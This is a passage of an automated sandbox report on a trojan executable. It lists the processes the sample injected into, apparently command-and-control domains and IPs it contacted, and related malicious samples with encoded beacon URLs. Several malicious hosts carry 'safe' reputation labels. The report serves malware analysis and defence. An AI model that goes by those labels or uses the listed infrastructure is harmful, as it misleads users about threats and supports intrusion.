                                              https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 00000003.00000003.3074348658.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1377287114.0000000008F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actuaexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaTexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.pollensense.com/explorer.exe, 00000003.00000000.1375368578.00000000071B2000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.wizardatm.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.lostaino.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://status.squarespace.comexplorer.exe, 00000003.00000002.3823187633.00000000113FF000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.0000000004E7F000.00000004.10000000.00040000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.femininequantumflowcoach.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/viexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-bexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://schemas.microexplorer.exe, 00000003.00000002.3815542294.0000000008820000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.3814662629.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1376904113.0000000008810000.00000002.00000001.00040000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.wizardatm.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.zangbreaker.com/ts59/www.babyscan.xyzexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINtexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.babyscan.xyz/ts59/www.scarytube.worldexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.zangbreaker.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.cn-brand.com/ts59/www.asmauardotreschicshoes.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.ssweatstudio.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.redseadivingadventure.com/ts59/www.ssweatstudio.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.texhio.online/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.ssweatstudio.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-itexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.modleavedepts.online/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.qjjkxi260l.top/ts59/explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.cn-brand.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.robottts.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.kgstrengthandperformance.com/ts59/www.redseadivingadventure.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.ssweatstudio.com/ts59/www.qjjkxi260l.topexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.zangbreaker.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsmexplorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.babyscan.xyzReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.redseadivingadventure.comexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svgexplorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://powerpoint.office.comexplorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.robottts.com/ts59/www.gb-electric-wheelchairs-8j.bondexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.foreca.comexplorer.exe, 00000003.00000000.1375368578.00000000071B2000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.lostaino.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.kgstrengthandperformance.com/ts59/explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.redseadivingadventure.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.kgstrengthandperformance.comReferer:explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.gb-electric-wheelchairs-8j.bondexplorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown

                                              World Map of Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public IPs

                                              IPDomainCountryFlagASNASN NameMalicious
                                              52.86.6.113
                                              		hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.comUnited States
                                              		14618AMAZON-AESUStrue
                                              192.0.78.25
                                              		femininequantumflowcoach.comUnited States
                                              		2635AUTOMATTICUStrue
                                              13.248.169.48
                                              		www.scarytube.worldUnited States
                                              		16509AMAZON-02UStrue
                                              185.53.179.91
                                              		www.gb-electric-wheelchairs-8j.bondGermany
                                              		61969TEAMINTERNET-ASDEtrue
                                              198.185.159.144
                                              		ext-sq.squarespace.comUnited States
                                              		53831SQUARESPACEUStrue
                                              23.227.38.74
                                              		shops.myshopify.comCanada
                                              		13335CLOUDFLARENETUStrue
                                              3.64.163.50
                                              		www.robottts.comUnited States
                                              		16509AMAZON-02UStrue
                                              3.33.130.190
                                              		zangbreaker.comUnited States
                                              		8987AMAZONEXPANSIONGBtrue

                                              General Information

                                              Joe Sandbox version:40.0.0 Tourmaline
                                              Analysis ID:1465322
                                              Start date and time:2024-07-01 15:27:26 +02:00
                                              Joe Sandbox product:CloudBasic
                                              Overall analysis duration:0h 11m 38s
                                              Hypervisor based Inspection enabled:false
                                              Report type:full
                                              Cookbook file name:default.jbs
                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                              Number of analysed new started processes analysed:12
                                              Number of new started drivers analysed:0
                                              Number of existing processes analysed:0
                                              Number of existing drivers analysed:0
                                              Number of injected processes analysed:1
                                              Technologies:
                                              • HCA enabled
                                              • EGA enabled
                                              • AMSI enabled
                                              Analysis Mode:default
                                              Sample name:2024 Lusail Fence-WITH STICKER-2-003.exe
                                              Detection:MAL
                                              Classification:mal100.troj.evad.winEXE@279/4@12/8
                                              EGA Information:
                                              • Successful, ratio: 100%
                                              HCA Information:
                                              • Successful, ratio: 100%
                                              • Number of executed functions: 58
                                              • Number of non-executed functions: 268
                                              Cookbook Comments:
                                              • Found application associated with file extension: .exe
                                              • Override analysis time to 240000 for current running targets taking high CPU consumption

                                              Warnings

                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                                              • Excluded IPs from analysis (whitelisted): 40.119.148.38
                                              • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, twc.trafficmanager.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                              • Not all processes where analyzed, report is missing behavior information
                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                              • Report size getting too big, too many NtEnumerateKey calls found.
                                              • Report size getting too big, too many NtOpenKey calls found.
                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                              • VT rate limit hit for: 2024 Lusail Fence-WITH STICKER-2-003.exe

                                              Simulations

                                              Behavior and APIs

                                              TimeTypeDescription
                                              09:28:50API Interceptor9428531x Sleep call for process: explorer.exe modified
                                              09:29:16API Interceptor8543620x Sleep call for process: control.exe modified

                                              Joe Sandbox View / Context

                                              IPs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              52.86.6.113PxYYzLeAPi.exeGet hashmaliciousGlupteba, SmokeLoader, StealcBrowse
                                              • cotheme.com/wp-login.php
                                              B843BuO7i3.exeGet hashmaliciousGlupteba, RedLine, SmokeLoaderBrowse
                                              • oldrochester.com/administrator/index.php
                                              82YWwkVfIS.exeGet hashmaliciousGlupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoaderBrowse
                                              • vanhellemond.com/admin
                                              INQUIRY_ORDER_FOR_QOUTATION.exeGet hashmaliciousFormBookBrowse
                                              • www.nilwin.com/w14m/?8p-=RgLdab5XhCCB3jqn7Vi2pEN/W7gOS3jB38n2DLHJPRnoewz6mrTwgyYesLGMKl7gVg4w&Vp=HDKPXvqxKjZ4yj8p
                                              U8WCyVn8Mu.exeGet hashmaliciousFormBookBrowse
                                              • www.pwpholdings.com/ro12/?9rNdFv=uAil5XdE1e6zA0aLCXQt0E2a6PqX6RKuOQ+ejqYxtKGY7TwYTqnnbJE3/JS7rQnY8pJO546fRA==&xD=Ft5PKLC0brN4jHfp
                                              33040117281.exeGet hashmaliciousCryptoWallBrowse
                                              • glamkey.com/errors/default/css/ap2.php?s=q7rg3eznvthp91
                                              Purchase order 88120-2023.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              • www.flooringadvantage.com/en31/?4hTP3fG8=KUcC8fkldMT44CO7aVlxeHdIUYxETjS68jWSDAW8ZCT5/BvtgWeipdfa94FJxnSvzH9n&5jLT=2d6pK
                                              awu6e4e6x7.exeGet hashmaliciousUnknownBrowse
                                              • mountainpower.net/index.php
                                              file.exeGet hashmaliciousPushdo, DanaBot, SmokeLoaderBrowse
                                              • www.pdqhomes.com/
                                              file.exeGet hashmaliciousPushdo, DanaBot, SmokeLoaderBrowse
                                              • www.cokocoko.com/
                                              192.0.78.25tmgF4oswp3fH2HU.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                              • www.tractionendurancecoaching.com/be03/?GjC4qd=eDAyqiSq8fufHkd2B9UcHwiZlH8Gvyu/8mkN8oYTV0oPmGWxIZPRnVvj16xFD+GZPzbI&mHNh=Sr6XdfC8ZP9h0pA
                                              JJUmnnkIxSCyKik.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                              • www.tractionendurancecoaching.com/be03/?rTBtDp=eDAyqiTe8/rvaUACdNUcHwiZlH8Gvyu/8mkN8oYTV0oPmGWxIZPRnVvj16xgYP2ZPzHF&N2MtQP=A0D4vjHhyTdpNr2p
                                              Z3MLFicTw5.exeGet hashmaliciousFormBookBrowse
                                              • www.gildedbeautyaesthitics.com/ns03/?-Z1dif=Ejx28V0Mi/PKMFo4nxco0l6yr5i8wbzIhiv3vkPYYPmQLPpGZe2iDqne89UWOV+E0hjfeI/1Cw==&Nt1HZJ=8papbVC054FDaj
                                              duGqHKp0OUXaX1D.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                              • www.gildedbeautyaesthitics.com/ns03/?Mli=Ejx28V0Mi/PKMFo4nxco0l6yr5i8wbzIhiv3vkPYYPmQLPpGZe2iDqne8+4JWli/3WeD&9rQhA=J48H
                                              International Bank Transfer.exeGet hashmaliciousFormBookBrowse
                                              • www.voyagedebetterave.com/ve92/?KVvTZtEp=SKXwm0mP5osv+tB3n7pxaJIuZ2gns/beRRSaI9loB4VQNRcKjWpGz3LlPIL/LOa7b1KdZakZ+A==&ixo=GL0X
                                              NfNXiX42uQ.exeGet hashmaliciousFormBookBrowse
                                              • www.burduremlakilan.com/jk56/?ndfxyf=R2Jd4&Jd7H=vUHa4t/MdhdOwuVCvD8uyvIDFi6LExMKoOKM/kOuD2lIQwvS7J46LAC2Okr9THJErjNM
                                              Factura_de_proforma_pdf.exeGet hashmaliciousFormBookBrowse
                                              • www.slimshotonline.com/ey16/?xnMtsxw8=A/o10+Me4fvA+hta8k/hrhXphMSeIGQKvha56Qk62/qkqyp619OkBa+Em/4N0fL2+Mt4Err+Lw==&1bkpfB=R2MxBTeXnBq
                                              jYRjr28sHR.exeGet hashmaliciousFormBookBrowse
                                              • www.lajtuf.com/bp31/
                                              PGiUp8uqGt.exeGet hashmaliciousFormBookBrowse
                                              • www.illuminati4me.com/btrd/?2dz=odelT&-Z1dnr=Q3kWi+8g+tbDAN4znzTYQaSHZDljXDmr3SwP0PohYWX18fCHdmrKk2iHJyaTwrNQ+JWy
                                              JLavGK0bZb.exeGet hashmaliciousFormBookBrowse
                                              • www.lithuaniandreamtime.com/4hc5/?VJEp=utxH9pwhq8XTGdt&FR3pw2=cbyLg/+yG8SQmnyN+ojfiN3a+JzSxQPEYaknOMddy8kPHpC/VJwUPcNk7jURfSy4thzO4h4zNA==

                                              Domains

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.comDHL ARRIVAL DOCUMENTS.pdf.exeGet hashmaliciousFormBookBrowse
                                              • 3.94.41.167
                                              cbIcBAgY5W.exeGet hashmaliciousSystemBCBrowse
                                              • 52.86.6.113
                                              file.exeGet hashmaliciousSystemBCBrowse
                                              • 52.86.6.113
                                              file.exeGet hashmaliciousCMSBruteBrowse
                                              • 52.86.6.113
                                              z8s945rPmZ.exeGet hashmaliciousSystemBCBrowse
                                              • 3.94.41.167
                                              uTorrent.exeGet hashmaliciousUnknownBrowse
                                              • 52.86.6.113
                                              BWV4hz5GdR.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, Stealc, XmrigBrowse
                                              • 3.94.41.167
                                              ACTCsxhga8.exeGet hashmaliciousGlupteba, SmokeLoader, StealcBrowse
                                              • 3.94.41.167
                                              qrtzqUHSqT.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoaderBrowse
                                              • 52.86.6.113
                                              executable.2772.exeGet hashmaliciousUnknownBrowse
                                              • 52.86.6.113
                                              shops.myshopify.comFiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exeGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              Document TOP19928.exeGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              eiqj38BeRo.rtfGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              Order-1351125X.docx.docGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              http://outselluar.liveGet hashmaliciousUnknownBrowse
                                              • 23.227.38.74
                                              DHL ARRIVAL DOCUMENTS.pdf.exeGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              98790ytt.exeGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              PAGO BANORTE 6142024pdf.exeGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              60a8.scr.exeGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              HSBC Payment Advice.img.exeGet hashmaliciousFormBookBrowse
                                              • 23.227.38.74
                                              ext-sq.squarespace.comINVOICE - MV CNC BANGKOK - ST24PJ-278.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              Att0027592.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              kpCSGLBxAw2RnrW.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              DHL_AWB#6078538091.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              MT103-746394.docGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              SecuriteInfo.com.Exploit.CVE-2018-0798.4.23906.18593.rtfGet hashmaliciousFormBookBrowse
                                              • 198.185.159.145
                                              AWB_NO_907853880911.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              IZPnmcCu5EZWa98.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144
                                              unexpressiveness.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                              • 198.185.159.144
                                              iY.exeGet hashmaliciousFormBookBrowse
                                              • 198.185.159.144

                                              ASNs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              AMAZON-AESUSPayment_AdviceHyperoptic.htmlGet hashmaliciousHTMLPhisherBrowse
                                              • 54.174.166.97
                                              http://links.notification.intuit.com/ls/click?upn=u001.4HBRtPy8j6uXsK2aeX2RzAh5EFPhCIIFV3VEN-2Fx7CtL7yL0rqbEG5To4Yn7gWqQ9aLy0xQjXtfA1aWI51jOBcgZZmdPU7rNXiI9qBQrw0Fh0XMUzwxEuUgv3ZFNQWIem-2BNTPYnrL9k9a1nDRjz4a88WPYyDduqTuKohuiQXsusYwJ-2FidZWWf8oC-2Bke5XZf6maHD-2Fd7ablYFhYAopCg9-2FJ24-2F8yZwA220wlNNRUX0yppVttR34V4P26behAEAgmPnWgi1QdqkcH8GVovfzu4LIw-3D-3DQBy7_5Y9C-2B-2Fzbmi1Z8AZ1P0Xb45Ep-2FzkkH96c1HQoTeKyfF3Cy9GA0JrKF-2FtBKU7Gy7tV6PIIEw2aSpbKuiOE5zUrdfKHijLS1CrX6di2rdCWz3230MnOWYRyIFetWhrSPF9k5LzSphdJmNETjrHElDpdShj1s4ILnQWpWcU1acTiMnif850-2BYV-2F5lXeG2jTC-2BOwApN8qupRmwT8fNNE9PPcwErJLxahBxSpmSq91gTlumLJlQuv6Mi-2FueOgXZeZsKYVaksXeYc4hm3iYcmZyYCYz0c5CytX-2FkcYDgjcEPGcMdE4wdmef7F34ZhNuR1BzXUZca-2BlM-2FSHy6Wcv-2B44fNGLavW0-2FgwmkSe7DWrN2Qxs4-2BbmqEK8zVd2B-2F-2BfhLv7s-2BwUYCFzSfpco2w0S0EkPk2QiaigfgYJrhsDWFQrr8XAjN8LEK9fzOOYMlKBdNBCCovn1-2BQdoVowInLACYcfv7UF18ixzp9yjXcoI2GtVtXTFy0zwL-2BunyW6y6aLD3UTkKp7eGuS-2Fs2l9K233QQTHOgsxIsW5yOnAipuno6Jz4FUupJjvG-2FSd7m5GLY99tPmOlknWYVUdaS4l4nbH7zNFdVoP-2Fmr7J9FoB812uhszre4JhgikLbqFLMCT1av4GEdnKOwpstUkw9rVNgxd2MHPktA30uhIQeOnTGGKgw66UsPvJvw-3DGet hashmaliciousUnknownBrowse
                                              • 35.170.112.220
                                              http://62.133.61.26/Downloads/MOD_200.pdf.lnkGet hashmaliciousUnknownBrowse
                                              • 54.144.73.197
                                              205.185.121.21-mips-2024-07-01T10_13_50.elfGet hashmaliciousMirai, MoobotBrowse
                                              • 34.206.144.46
                                              Doc3.docxGet hashmaliciousUnknownBrowse
